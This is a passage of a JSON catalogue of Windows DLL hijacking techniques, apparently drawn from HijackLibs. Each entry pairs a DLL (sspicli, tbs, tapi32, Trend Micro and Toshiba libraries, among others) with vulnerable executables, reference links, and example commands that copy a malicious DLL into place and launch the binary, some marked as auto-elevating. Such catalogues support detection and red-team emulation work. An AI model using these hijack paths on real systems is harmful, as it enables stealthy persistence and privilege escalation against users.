    "namespace": "windows:dllhijack:sspicli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://lab52.io/blog/analyzing-notdoor-inside-apt28s-expanding-arsenal/"
      },
      {
        "label": "Reference",
        "url": "https://www.legit4n6.com/OneDrive-SSPICLI-dll-Side-Loading-Proof-of-Concept-264d60e66daf80caa347f437baf5edf3"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sspicli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious ssshim.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ssshim.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\sfc.exe\\\"\"\n\n# ssshim.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\sfc.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Grzegorz Tworek\n",
    "_source": "windows-dllhijack-ssshim.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "ssshim.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ssshim.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "requires-root"
    ],
    "id": "windows-dllhijack-ssshim",
    "name": "ssshim.dll",
    "namespace": "windows:dllhijack:ssshim",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/0gtweet/status/1363107343018385410"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ssshim.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious staterepository.core.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\staterepository.core.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\applytrustoffline.exe\\\"\"\n\n# staterepository.core.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\applytrustoffline.exe (Sideloading)\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-staterepository-core.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "staterepository.core.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "staterepository.core.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-staterepository-core",
    "name": "staterepository.core.dll",
    "namespace": "windows:dllhijack:staterepository-core",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/staterepository-core.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sti.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sti.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Photo Viewer\\\\ImagingDevices.exe\\\"\"\n\n# sti.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Photo Viewer\\ImagingDevices.exe (Sideloading)\n\n**Acknowledgement:** Tim Baker\n",
    "_source": "windows-dllhijack-sti.md",
    "author": "Tim Baker",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sti.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sti.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sti",
    "name": "sti.dll",
    "namespace": "windows:dllhijack:sti",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sti.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious structuredquery.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\structuredquery.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# structuredquery.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-structuredquery.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "structuredquery.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "structuredquery.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-structuredquery",
    "name": "structuredquery.dll",
    "namespace": "windows:dllhijack:structuredquery",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/structuredquery.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sxshared.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sxshared.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\defrag.exe\\\"\"\n\n# sxshared.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\defrag.exe (Sideloading)\n- %SYSTEM32%\\dfrgui.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-sxshared.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sxshared.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sxshared.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sxshared",
    "name": "sxshared.dll",
    "namespace": "windows:dllhijack:sxshared",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sxshared.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious symsrv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\%VERSION%\\\\symsrv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\%VERSION%\\\\symstore.exe\\\"\"\n\n# symsrv.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\%VERSION%\\symstore.exe (Sideloading)\n",
    "_source": "windows-dllhijack-symsrv.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "symsrv.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "symsrv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-symsrv",
    "name": "symsrv.dll",
    "namespace": "windows:dllhijack:symsrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/symsrv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious systemsettingsthresholdadminflowui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\systemsettingsthresholdadminflowui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\systemsettingsadminflows.exe\\\"\"\n\n# systemsettingsthresholdadminflowui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-systemsettingsthresholdadminflowui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "systemsettingsthresholdadminflowui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "systemsettingsthresholdadminflowui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-systemsettingsthresholdadminflowui",
    "name": "systemsettingsthresholdadminflowui.dll",
    "namespace": "windows:dllhijack:systemsettingsthresholdadminflowui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/systemsettingsthresholdadminflowui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tapi32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tapi32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dialer.exe\\\"\"\n\n# tapi32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dialer.exe (Sideloading)\n- %SYSTEM32%\\fxssvc.exe (Sideloading)\n- %SYSTEM32%\\tcmsetup.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-tapi32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "tapi32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tapi32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-tapi32",
    "name": "tapi32.dll",
    "namespace": "windows:dllhijack:tapi32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tapi32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tbb.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Adobe\\\\Adobe Photoshop CC %VERSION%\\\\tbb.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Adobe\\\\Adobe Photoshop CC %VERSION%\\\\AGF3DPrinterDriver.exe\\\"\"\n\n# tbb.dll\n\n**Vendor:** Intel\n\n**Expected Location:** %PROGRAMFILES%\\Adobe\\Adobe Photoshop CC %VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Adobe\\Adobe Photoshop CC %VERSION%\\AGF3DPrinterDriver.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-tbb.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tbb.dll — Sideloading hijacking (Intel)",
    "execution": {
      "template": "tbb.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tbb",
    "name": "tbb.dll",
    "namespace": "windows:dllhijack:tbb",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/d6ca9b88d5eb884a761a068700b8bbb509b01bba322ce6086e500e4e6f332adf/detection"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tbb.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tbs.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tbs.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# tbs.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\sgrmbroker.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tpmtool.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-tbs.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "tbs.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tbs.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-tbs",
    "name": "tbs.dll",
    "namespace": "windows:dllhijack:tbs",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tbs.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tdh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tdh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\plasrv.exe\\\"\"\n\n# tdh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\plasrv.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-tdh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tdh.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tdh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tdh",
    "name": "tdh.dll",
    "namespace": "windows:dllhijack:tdh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tdh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tedutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft SDKs\\\\Windows\\\\%VERSION%\\\\Bin\\\\tedutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft SDKs\\\\Windows\\\\%VERSION%\\\\Bin\\\\TopoEdit.exe\\\"\"\n\n# tedutil.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft SDKs\\Windows\\%VERSION%\\Bin\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft SDKs\\Windows\\%VERSION%\\Bin\\TopoEdit.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-tedutil.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tedutil.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "tedutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tedutil",
    "name": "tedutil.dll",
    "namespace": "windows:dllhijack:tedutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/eb014e37fdcaf42c93f606058896ccb47eed56be5e1701c7b9744bac0003a8e8/details"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/win32/medfound/topoedit-modules"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tedutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious textshaping.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\textshaping.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Windows Kits\\\\10\\\\Debuggers\\\\x64\\\\logger.exe\\\"\"\n\n# textshaping.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\x64\\logger.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Kits\\10\\Debuggers\\x64\\logviewer.exe (Sideloading)\n",
    "_source": "windows-dllhijack-textshaping.md",
    "author": "Gary Lobermier",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "textshaping.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "textshaping.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-textshaping",
    "name": "textshaping.dll",
    "namespace": "windows:dllhijack:textshaping",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://globetech.biz/index.php/2023/05/19/evading-edr-by-dll-sideloading-in-csharp/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/textshaping.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious timesync.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\timesync.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\systemsettingsadminflows.exe\\\"\"\n\n# timesync.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-timesync.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "timesync.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "timesync.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-timesync",
    "name": "timesync.dll",
    "namespace": "windows:dllhijack:timesync",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/timesync.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tmdbg64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%LOCALAPPDATA%\\\\Temp\\\\ClnExtor\\\\PCCNT\\\\tmdbg64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Trend Micro\\\\Security Agent\\\\TmPfw.exe\\\"\"\n\n# tmdbg64.dll\n\n**Vendor:** Trend Micro\n\n**Expected Location:** %LOCALAPPDATA%\\Temp\\ClnExtor\\PCCNT\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Trend Micro\\Security Agent\\TmPfw.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-tmdbg64.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tmdbg64.dll — Sideloading hijacking (Trend Micro)",
    "execution": {
      "template": "tmdbg64.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tmdbg64",
    "name": "tmdbg64.dll",
    "namespace": "windows:dllhijack:tmdbg64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/5ee36bf41e2604db18a46515139d0c7bee9a6665e968d4b281cac329e26163d0"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tmdbg64.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tmdbglog.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Trend Micro\\\\Titanium\\\\tmdbglog.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"PtWatchDog.exe\\\"\"\n\n# tmdbglog.dll\n\n**Vendor:** Trend Micro\n\n**Expected Location:** %PROGRAMFILES%\\Trend Micro\\Titanium\n\n**Vulnerable Executables:**\n- PtWatchDog.exe (Sideloading)\n\n**Acknowledgement:** Christiaan Beek\n\n**Acknowledgement:** Claudio Teixeira\n",
    "_source": "windows-dllhijack-tmdbglog.md",
    "author": "Christiaan Beek",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tmdbglog.dll — Sideloading hijacking (Trend Micro)",
    "execution": {
      "template": "tmdbglog.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tmdbglog",
    "name": "tmdbglog.dll",
    "namespace": "windows:dllhijack:tmdbglog",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tmdbglog.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious tmtap.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tmtap.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\trend micro\\\\passwordmanager\\\\pwmsvc.exe\\\"\"\n\n# tmtap.dll\n\n**Vendor:** Trend Micro\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\trend micro\\passwordmanager\\pwmsvc.exe (Phantom) [PrivEsc]\n",
    "_source": "windows-dllhijack-tmtap.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "tmtap.dll — Phantom hijacking (Trend Micro)",
    "execution": {
      "template": "tmtap.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-tmtap",
    "name": "tmtap.dll",
    "namespace": "windows:dllhijack:tmtap",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://medium.com/@infiniti_css/trend-micro-password-manager-dll-hijack-fa839acaad59"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tmtap.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tosbtkbd.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Toshiba\\\\Bluetooth Toshiba Stack\\\\tosbtkbd.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Toshiba\\\\Bluetooth Toshiba Stack\\\\TosBtKbd.exe\\\"\"\n\n# tosbtkbd.dll\n\n**Vendor:** Toshiba\n\n**Expected Location:** %PROGRAMFILES%\\Toshiba\\Bluetooth Toshiba Stack\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Toshiba\\Bluetooth Toshiba Stack\\TosBtKbd.exe (Sideloading)\n",
    "_source": "windows-dllhijack-tosbtkbd.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "tosbtkbd.dll — Sideloading hijacking (Toshiba)",
    "execution": {
      "template": "tosbtkbd.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-tosbtkbd",
    "name": "tosbtkbd.dll",
    "namespace": "windows:dllhijack:tosbtkbd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://vms.drweb.com/virus/?i=21995048"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/02/25/beyond-good-ol-run-key-part-141/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/tosbtkbd.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious tpmcoreprovisioning.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\tpmcoreprovisioning.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\tpmtool.exe\\\"\"\n\n# tpmcoreprovisioning.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\tpmtool.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
